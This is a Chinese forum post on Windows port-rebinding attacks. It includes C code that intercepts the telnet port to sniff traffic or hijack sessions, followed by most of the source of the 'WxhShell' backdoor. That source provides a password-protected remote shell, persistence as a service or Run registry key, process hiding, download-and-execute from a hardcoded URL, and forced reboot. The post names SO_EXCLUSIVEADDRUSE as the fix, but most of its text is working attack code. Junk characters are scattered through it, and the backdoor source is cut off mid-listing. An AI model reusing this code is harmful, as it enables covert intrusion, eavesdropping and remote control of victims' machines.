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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: C1A  X  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ->qRGUW  
#reR<qp&]  
  saddr.sin_family = AF_INET; n$ByTmKxv  
=9,mt K~  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]+G\1SN~  
]|F`;}7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Eet/l]e#a  
=0&XdxX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 H.?`90IQ  
4r;le5@  
  这意味着什么?意味着可以进行如下的攻击: pKXSJ"Xo  
\ MuKS4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #HL$`&m  
0qR#o/~I  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W+u@UJi  
+;!^aNJ,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 eAO@B  
G>^= Bm_$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  q h bagw~  
.\H-?6R^  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C=;}7g  
w*'DlP<7  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 gD%o0 jt"  
\Uh/(q7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0F uj-q  
W' Y<iA  
  #include {B=64,D^7R  
  #include ,h5 FX^  
  #include *} *HXE5  
  #include    y-@`3hYM@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }#Up:o]A!  
  int main() $lB!Q8a$  
  { mr[1F]G  
  WORD wVersionRequested; q: F6MW  
  DWORD ret; Bph(\= W  
  WSADATA wsaData; rG-x 3>b  
  BOOL val; &hVf=We  
  SOCKADDR_IN saddr; a@|`!<5  
  SOCKADDR_IN scaddr; tZ) ,Z<  
  int err; DFfh!KKR$  
  SOCKET s; x15&U\U  
  SOCKET sc; %eF=;q  
  int caddsize; c&#Q`m  
  HANDLE mt; GwgY{-|`  
  DWORD tid;   /hg^hF  
  wVersionRequested = MAKEWORD( 2, 2 ); J}Z\I Y,  
  err = WSAStartup( wVersionRequested, &wsaData ); uYFy4E3  
  if ( err != 0 ) { %b pQ=  
  printf("error!WSAStartup failed!\n"); 0(5qVJ12  
  return -1; XR=ebl  
  } 5a6d3u/  
  saddr.sin_family = AF_INET; !*^+7M  
   e}gGl<((g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 (CDh,ZN;|  
REc90v2"  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Aa-OMo;~  
  saddr.sin_port = htons(23); /5 KY6XxR  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) oeVI 6-_S  
  { rf/]VAK  
  printf("error!socket failed!\n"); 'D+njxCk.A  
  return -1; $XyDw|z[  
  } s Wj:m)  
  val = TRUE; {o'(_.{  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 "@+Z1k-8U  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) CC6]AM(i  
  { m,5m'9 dj  
  printf("error!setsockopt failed!\n"); "V:RKH`  
  return -1; X.e4pLwGK  
  } abe5 As r  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ayw {I#"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Ng&K5Z/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &mJm'Ks  
 1A]   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yqb$,$  
  { c ]ll89`||  
  ret=GetLastError(); gW G>}M@  
  printf("error!bind failed!\n"); \= 6dF,V  
  return -1; oj6=.   
  } )CH\]>-FO  
  listen(s,2); 7CU<R9Kl  
  while(1) 6C_H0a/h&  
  { d^Cv9%X  
  caddsize = sizeof(scaddr); &x.5TDB>%  
  //接受连接请求 .4z_ohe  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^6UE/4x!y  
  if(sc!=INVALID_SOCKET) N mNj0&  
  { lA,[&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O2Y1D`&5  
  if(mt==NULL) 9j5k=IXg#a  
  { Y>i Qp/k:  
  printf("Thread Creat Failed!\n"); %B>>J%  
  break; z4[ 8*}  
  } <7%#RJwe  
  } RLh%Y>w  
  CloseHandle(mt); b5 AP{ #  
  } of_Om$  
  closesocket(s); ['c*<f" D2  
  WSACleanup(); 7?Twhs.O  
  return 0; p1s& y0:d  
  }   od/Q"5t[p  
  DWORD WINAPI ClientThread(LPVOID lpParam) UnTvot6~  
  { *]S&V'Di  
  SOCKET ss = (SOCKET)lpParam; HvG~bZN  
  SOCKET sc; ,7Q b24A  
  unsigned char buf[4096]; mj& 4FQ#O*  
  SOCKADDR_IN saddr; X5)].[d  
  long num; yEL5U{  
  DWORD val; 2reQd47  
  DWORD ret; t] G hONN  
  //如果是隐藏端口应用的话,可以在此处加一些判断 v00w GOpW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   J.,7d ,  
  saddr.sin_family = AF_INET; U)S!@ 2(4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); /a-OB U  
  saddr.sin_port = htons(23); 7@!ne&8Z?  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V?C a[  
  { dEoW8 M#  
  printf("error!socket failed!\n"); ' '|R$9\@  
  return -1; ibuoq X`  
  } |HTTTz9R.  
  val = 100; =W'{xG}  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y(6*)~Dh  
  { )K 0rPnYV  
  ret = GetLastError(); 8{%[|Ye  
  return -1; ?h-:,icR  
  } ;0 9~#Wop  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ftqeiZ 2  
  { D14i]  
  ret = GetLastError(); qAVZ&:#  
  return -1; 8Dc'"3+6  
  } -H](2}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N9AM% H$7  
  { s+ ]6X*)  
  printf("error!socket connect failed!\n"); HqKD]1  
  closesocket(sc); 4q`e<!MP)q  
  closesocket(ss); ,6T3:qkkvF  
  return -1; UNescZ  
  } U=KFbL1Q  
  while(1) ARJ}h  
  { >~* w  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 BWG#W C  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 AI*1kxR  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 p M_oIH'8:  
  num = recv(ss,buf,4096,0); -* piC(  
  if(num>0) .^FdO$"  
  send(sc,buf,num,0); X2C&q$8  
  else if(num==0) } |? W  
  break; "D/\&1.&  
  num = recv(sc,buf,4096,0); sxn^1|O;m  
  if(num>0) 4wx _@8  
  send(ss,buf,num,0); V%'+ ob6  
  else if(num==0) A:Kit_A  
  break; af;~<o a  
  } i{nFk',xX  
  closesocket(ss); Xp_G9I,+  
  closesocket(sc); p V`)  
  return 0 ; %b3s|o3An  
  } 2mPU /  
[f@[ gE  
+FlO_=Bu  
========================================================== -x0u}I  
fpPHw)dTd  
下边附上一个代码,,WXhSHELL k|F TT  
 <sC.  
========================================================== {);<2]o| 6  
~e<h2/Xc  
#include "stdafx.h" }>~]q)]  
:x@j)&  
#include <stdio.h> ZE0D=  
#include <string.h> =MokbK2  
#include <windows.h> GMYfcZ/,K  
#include <winsock2.h> 3Ay<2v  
#include <winsvc.h> -|3feYb'  
#include <urlmon.h> 2:Q2w3Xe  
@vkO(o  
#pragma comment (lib, "Ws2_32.lib") "~ eF%}.  
#pragma comment (lib, "urlmon.lib") m?pm)w  
<aGfQg|554  
#define MAX_USER   100 // 最大客户端连接数 Ga#5xAI{a  
#define BUF_SOCK   200 // sock buffer G[z4 $0f  
#define KEY_BUFF   255 // 输入 buffer nEboet-#D0  
5AO' IhpL  
#define REBOOT     0   // 重启 n0%]dKCB  
#define SHUTDOWN   1   // 关机 DmpG35Jk  
hy{1Ea/T  
#define DEF_PORT   5000 // 监听端口 7!%xJ!  
w>Y!5RnO  
#define REG_LEN     16   // 注册表键长度 &Uu8wFbIJ  
#define SVC_LEN     80   // NT服务名长度 I`FqZw  
DE_ <LN  
// 从dll定义API h}c R >  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7C@%1kL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "3X~BdH&J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KO5! (vi@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); k_hs g6Ur.  
Q"=$.M~  
// wxhshell配置信息 "YePd * W  
struct WSCFG { kB $?A8Olu  
  int ws_port;         // 监听端口 &3%V%_  
  char ws_passstr[REG_LEN]; // 口令 ;7w4BJcq']  
  int ws_autoins;       // 安装标记, 1=yes 0=no eg Zb)pP  
  char ws_regname[REG_LEN]; // 注册表键名 4vbtB2  
  char ws_svcname[REG_LEN]; // 服务名 LP- _i}Kq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /#xx,?~xx0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S"G`j!m1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2 rx``,7Q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [|"{a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;{hE]jReH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x|`o7.  
xN=:*#Z"pb  
}; Emx`+9  
KBkS>0;X  
// default Wxhshell configuration T+U,?2nF:  
struct WSCFG wscfg={DEF_PORT, >,)tRQS  
    "xuhuanlingzhe", N=@Nn)  
    1, :FqHMN  
    "Wxhshell", R8![ $mkU  
    "Wxhshell", Z_}[hz$  
            "WxhShell Service", X|Z2"*;b`  
    "Wrsky Windows CmdShell Service", (nLT 8{>0  
    "Please Input Your Password: ", `M.\D  
  1, t,vj)|:  
  "http://www.wrsky.com/wxhshell.exe", Y+0HC2(o  
  "Wxhshell.exe" <9jN4hV  
    }; 1xzOD@=dI  
/7[X_)OG  
// 消息定义模块 c#YW>(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qxW^\u!<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "0]s|ys6<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \:@yfI@  
char *msg_ws_ext="\n\rExit."; 8JbN&C  
char *msg_ws_end="\n\rQuit."; 7ajkp+E6  
char *msg_ws_boot="\n\rReboot..."; Vp j[)W%L  
char *msg_ws_poff="\n\rShutdown..."; <Gkmk?x`A  
char *msg_ws_down="\n\rSave to "; z)&ZoSXWc  
IMtfi(Y%F  
char *msg_ws_err="\n\rErr!"; "D1u2>(  
char *msg_ws_ok="\n\rOK!"; i]M:ntB"  
* j]"I=D  
char ExeFile[MAX_PATH]; X[r\ Qa  
int nUser = 0; '|^<|S_+K  
HANDLE handles[MAX_USER]; nht?58  
int OsIsNt; ~rICPR  
[+4/M3J%  
SERVICE_STATUS       serviceStatus; $:D-dUr1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; rI.CCPY~s  
HyKv5S$  
// 函数声明 h#Q Sx@U6  
int Install(void); " }oH3L  
int Uninstall(void); =LHz[dSL  
int DownloadFile(char *sURL, SOCKET wsh); _,{R3k  
int Boot(int flag); D +Ui1h-  
void HideProc(void); UK!PMkX  
int GetOsVer(void); Ti!<{>  
int Wxhshell(SOCKET wsl); g6p:1;Evf  
void TalkWithClient(void *cs); n 0rAOkW  
int CmdShell(SOCKET sock); '&42E[0P  
int StartFromService(void); K! I]0!:  
int StartWxhshell(LPSTR lpCmdLine); `D~wY^q{  
9~ JeI/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7ts`uI<E@7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); oW\kJ>!  
lPO +dm  
// 数据结构和表定义 uEX+j  
SERVICE_TABLE_ENTRY DispatchTable[] = ?&rt)/DV,  
{ M'-Z"  
{wscfg.ws_svcname, NTServiceMain}, V4>qR{5  
{NULL, NULL} %=EN 3>,  
}; kK&M>)&o#  
?4A$9H  
// 自我安装 E@%9u#  
int Install(void) Tw+V$:$$  
{ tX@G`Mr(  
  char svExeFile[MAX_PATH]; R7Z7o4jg  
  HKEY key; "B3&v%b  
  strcpy(svExeFile,ExeFile); \~~y1.,U.  
sm9/sX!  
// 如果是win9x系统,修改注册表设为自启动 u-%|ZSg  
if(!OsIsNt) { !Un &OAy.!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _Z{EO|L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P'Diie  
  RegCloseKey(key); 8k|&&3_[?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NL} Q3Vv1.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }ofx?s}  
  RegCloseKey(key); L-z9n@=8\  
  return 0; Gw1Rp  
    } N&jHU+{OU  
  } w+W! dM  
} Cyu= c1D;  
else { fv+t%,++:  
{#C)S&o)6  
// 如果是NT以上系统,安装为系统服务 5[5|_H+0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0LD$"0v/C3  
if (schSCManager!=0) L=#nnj-  
{ = iXHu *g  
  SC_HANDLE schService = CreateService wJMk%N~R:  
  ( }eq*dr1`  
  schSCManager, 'Tbdo >y  
  wscfg.ws_svcname, T;`2t;  
  wscfg.ws_svcdisp, 9^<Y~rkm  
  SERVICE_ALL_ACCESS, 5zi}O GtXv  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , V N<omi+4  
  SERVICE_AUTO_START, jL]Y;T8  
  SERVICE_ERROR_NORMAL, #Bo3 :B8  
  svExeFile, (N[R`LN  
  NULL, /{71JqFis  
  NULL, }8&?  
  NULL, #_?m.~`g[  
  NULL, tQ7:4._  
  NULL )~2~q7  
  ); 7GG:1:2+>  
  if (schService!=0) >O$ JS,  
  { y)*W!]:7^>  
  CloseServiceHandle(schService); u0{R;)  
  CloseServiceHandle(schSCManager); &w'1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  e gdbv  
  strcat(svExeFile,wscfg.ws_svcname); *VV#o/Q p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ouos f1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #ni:Bwtl{  
  RegCloseKey(key); G5,g$yNs  
  return 0; ?ytY8`PC  
    } a>8&B  
  } 6QM$aLLP?  
  CloseServiceHandle(schSCManager); dng^#|X)?  
} >i!y[F  
} v9"|VhZ  
k(ho?  
return 1; ?R":"*eu  
} )\RG NJMC  
M'|?* aNK  
// 自我卸载 )j\9IdkU;y  
int Uninstall(void) T-a [  
{ XmAu n  
  HKEY key; 4l rKU^-  
VKMgcfbHr/  
if(!OsIsNt) { CEh!X=Nn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tV"Jh>Z  
  RegDeleteValue(key,wscfg.ws_regname); k3CHv=U{  
  RegCloseKey(key); 6;Sz^W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { JA2oy09G  
  RegDeleteValue(key,wscfg.ws_regname); 7KJ%-&L^  
  RegCloseKey(key); ^@HWw@GA  
  return 0; 31 &;3?3>  
  } -^ R?O  
} )K!!Zq3;|  
} iiLDl  
else { {M ^5w  
Bg.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Oj8xc!d'  
if (schSCManager!=0) Dp-j(F  
{ x T1MW  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X 4CiVV  
  if (schService!=0) `MC5_SG 1  
  { 3<O=,F  
  if(DeleteService(schService)!=0) { YkF52_^_  
  CloseServiceHandle(schService); Rrw6\iO  
  CloseServiceHandle(schSCManager); vlC$0P  
  return 0; p\22_m_wd  
  } 5$&',v(  
  CloseServiceHandle(schService); utU ;M*  
  } 5Zuk`%O  
  CloseServiceHandle(schSCManager); ^GnR1.ux  
} IC:>60A,]  
} uNf97*~_  
e7r3o,!  
return 1; 6Z<|L^  
} q+2v9K@  
BG_6$9y  
// 从指定url下载文件 +:3s f%0  
int DownloadFile(char *sURL, SOCKET wsh) 1Vx>\A  
{ e/b | sl  
  HRESULT hr; vD76IG jm  
char seps[]= "/"; 3$4I  
char *token; t~%(Zu>S  
char *file; q}gM2Ia'vY  
char myURL[MAX_PATH]; cJ#n<Rsz  
char myFILE[MAX_PATH]; *r)dtI*  
I{i6e'.jP  
strcpy(myURL,sURL); }poLH S/  
  token=strtok(myURL,seps); z:oi @q  
  while(token!=NULL) n{(,r'  
  { #'4Psz  
    file=token; !.{"Ttn;s  
  token=strtok(NULL,seps); 7Qd boEa  
  } _'Rg7zHTp-  
-ND1+`yD  
GetCurrentDirectory(MAX_PATH,myFILE); !@>q^_Gez  
strcat(myFILE, "\\"); nCDG PzJ  
strcat(myFILE, file); D<'G\#n3I=  
  send(wsh,myFILE,strlen(myFILE),0); C6A!JegU  
send(wsh,"...",3,0); )Lg~2]'?j  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); MIY`"h0*  
  if(hr==S_OK) -oi@1g @  
return 0; ,z~"Mst  
else NAX`y2z  
return 1; (Rsf;VPO  
5a|{ytP   
} %-<6Z9otc  
rP IAu[],g  
// 系统电源模块 Kf#iF*  
int Boot(int flag) xy-Vw"I[bh  
{ Q%W>m0 %  
  HANDLE hToken; ]F3fO5Z  
  TOKEN_PRIVILEGES tkp; %awr3h>$  
5[]Yxl  
  if(OsIsNt) { 5!BW!-q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); HV{W7)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  0:$pJtx"  
    tkp.PrivilegeCount = 1; :}CcWfbT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; T%aM~dp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [e o=  
if(flag==REBOOT) { UAGh2?q2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;Irn{O  
  return 0; @M6F?;  
} :qj7i(  
else { p@U[fv8u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]U&<y8Q_6  
  return 0; '4}8WYKQ  
} +1^L35\@  
  } y?Pw6;e.  
  else { {a ]u  
if(flag==REBOOT) { O7m-_#/\   
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EFv^uve  
  return 0; y"k %Wa`*  
} yIg^iZD  
else { G +AP."M?  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4m6/ ba  
  return 0; N]-skz<v  
} >z7 3uKA(  
} R&Ss ET.  
<{i1/"k?X  
return 1; Js^(mRv=  
} [x'D+!  
e/x6{~ju^N  
// win9x进程隐藏模块 i:Gyi([C  
void HideProc(void) ~=9S AJr]  
{ Qe_C^ (P  
)Myx(w"S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); *y', eB  
  if ( hKernel != NULL ) h]/3doP  
  { gA gF$H .  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z pDc~ebh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _ jH./ @G  
    FreeLibrary(hKernel); iUs_)1  
  } Y$9x !kV  
Ii<k<Bt,  
return; ~V0 GRPnI  
} \jb62Jp  
+No` 89Y  
// 获取操作系统版本 ibLx'<  
int GetOsVer(void) |.;]e[&  
{ H;0K4|I  
  OSVERSIONINFO winfo; KwgFh#e  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ([#'G+MC&  
  GetVersionEx(&winfo); ={51fr/C%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E{}J-_oS45  
  return 1; ^Jw=5 ImG  
  else t{,e{oZx  
  return 0; !?lvmq  
} J:OP*/@='  
0sH~H[ap  
// 客户端句柄模块  smn~p/u  
int Wxhshell(SOCKET wsl) MI-S}Qoe  
{ 6Hfv'X5E`Z  
  SOCKET wsh; V+r&Z<&  
  struct sockaddr_in client; dnV&U%fO  
  DWORD myID; q=*bcDu  
Z<QNzJ D  
  while(nUser<MAX_USER) ^]Q.V  
{ CR;E*I${  
  int nSize=sizeof(client); EMpq+LrN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); q>wO=qWx  
  if(wsh==INVALID_SOCKET) return 1; U.h2 (-p  
=uEpeL~d;+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2vhP'?;K  
if(handles[nUser]==0) <[w5M?n8  
  closesocket(wsh); hj{)6dBX%  
else bYqv)_8  
  nUser++; ;+bF4r@:+  
  } #m;o)KkH$r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4iZg2"[D  
CugZ!>;^  
  return 0; ?9>wG7cps7  
} ]68 FGH  
.jiJgUa7  
// 关闭 socket ] ^?w0A  
void CloseIt(SOCKET wsh) *!E~4z=  
{ %m [l/,2x  
closesocket(wsh); <H{K&,Z(ZM  
nUser--; CIf@G>e-  
ExitThread(0); k7j[tB#  
} CD5% iFy  
My Ky*wD  
// 客户端请求句柄 D!ASO]  
void TalkWithClient(void *cs) #,97 ]  
{ |'I>Ojm  
KW3<5+w]c  
  SOCKET wsh=(SOCKET)cs; <L<^uFB  
  char pwd[SVC_LEN]; u /DE  
  char cmd[KEY_BUFF]; q*tGlM@R?  
char chr[1]; bZ:xH48MY  
int i,j; F1BXu@~e(  
$G{j[iLY  
  while (nUser < MAX_USER) { y%x:~.  
r;"D>IM\  
if(wscfg.ws_passstr) { n-{d7haOa  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x+ER 3wDD@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k_uI&,  
  //ZeroMemory(pwd,KEY_BUFF); *$`N5;7'`  
      i=0; ZJm$7T)V  
  while(i<SVC_LEN) { 0-;>O|U3  
=vvd)og  
  // 设置超时 lrL:G[rt  
  fd_set FdRead; Dr[;\/|#  
  struct timeval TimeOut; a)c;z@r  
  FD_ZERO(&FdRead); =f [/Pv  
  FD_SET(wsh,&FdRead); .lM]>y)  
  TimeOut.tv_sec=8; Zu~w:uNmU  
  TimeOut.tv_usec=0; u&[L!w  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9 W|'~r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !^s -~`'\~  
cP\z*\dS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Q5,Zhgr  
  pwd=chr[0]; hc3tzB  
  if(chr[0]==0xd || chr[0]==0xa) { B}.:7,/0  
  pwd=0; #XB3Wden2  
  break; TU58  
  } gK@`0/k{  
  i++; !3\$XK]5ZT  
    } M d8(P23hS  
sC.r$K+k5  
  // 如果是非法用户,关闭 socket `9gV8u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _0FMwC#DY  
} e6mm;@F>  
/GM!3%'=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {2m F\A#.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -84%6p2-  
l'@!'  
while(1) { B3D}'<  
VBS}2>p  
  ZeroMemory(cmd,KEY_BUFF); "A&A?%  
\13Q>iAu  
      // 自动支持客户端 telnet标准   *3!r &iY  
  j=0; w!v^6[!  
  while(j<KEY_BUFF) { NZa 7[}H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `(`-S md  
  cmd[j]=chr[0]; JbJ!,86  
  if(chr[0]==0xa || chr[0]==0xd) { x DN u'  
  cmd[j]=0; j@^zK!mO  
  break; c q[nqjC=  
  } -Eig#]Se3  
  j++; =:xX~,qmv  
    } w 4CcdpR  
8x LXXB  
  // 下载文件 x}Lj|U$r<X  
  if(strstr(cmd,"http://")) { < W`gfpzO  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pL} F{G.  
  if(DownloadFile(cmd,wsh)) 9 nY|S{L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); B$YoglEW:  
  else -mGG:#yP  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0l& '`  
  } 9<toDg_  
  else { k;`1Ia  
8 5)C7tJ-g  
    switch(cmd[0]) { F$jy~W_  
  &|}QdbW  
  // 帮助 ^#mWV  
  case '?': { 2boyBz}=S  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d>W#c8X>  
    break; {.p;V  
  } ?U[6X| 1  
  // 安装 i2rSP$j  
  case 'i': { [Gv8Fn/aG  
    if(Install()) !g6=/9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mMOgx   
    else XP0;Q;WF}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rQGInzYp  
    break; KK1?!7  
    } a^|9rho<  
  // 卸载 Ba5*]VGG  
  case 'r': { O(2c_!d  
    if(Uninstall()) Eu~1t& 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wB' !@>db  
    else wIR"!C>LE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); reArXmU<u  
    break; !iNwJ|0  
    } C4d'z(<  
  // 显示 wxhshell 所在路径 CLe{9-o  
  case 'p': { 4 qY  
    char svExeFile[MAX_PATH]; !G\gqkSL  
    strcpy(svExeFile,"\n\r"); zLJmHb{(  
      strcat(svExeFile,ExeFile); Zi7cp6~7  
        send(wsh,svExeFile,strlen(svExeFile),0); OIpT9  
    break; \'[tfSB  
    } Ii5U) "  
  // 重启 <2%9O;bV[  
  case 'b': { F[%k ;aJ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); \P9ms?((A  
    if(Boot(REBOOT)) =)c-Xz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _?cum ~A@  
    else { )g^qgxnnV  
    closesocket(wsh); oqysfLJ  
    ExitThread(0); &4}=@'G@  
    } ot2zY dWAz  
    break; 6__!M  
    } *QWOW g4w  
  // 关机 rC!"<  
  case 'd': { iu*&Jz)D>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =[!(s/+>L  
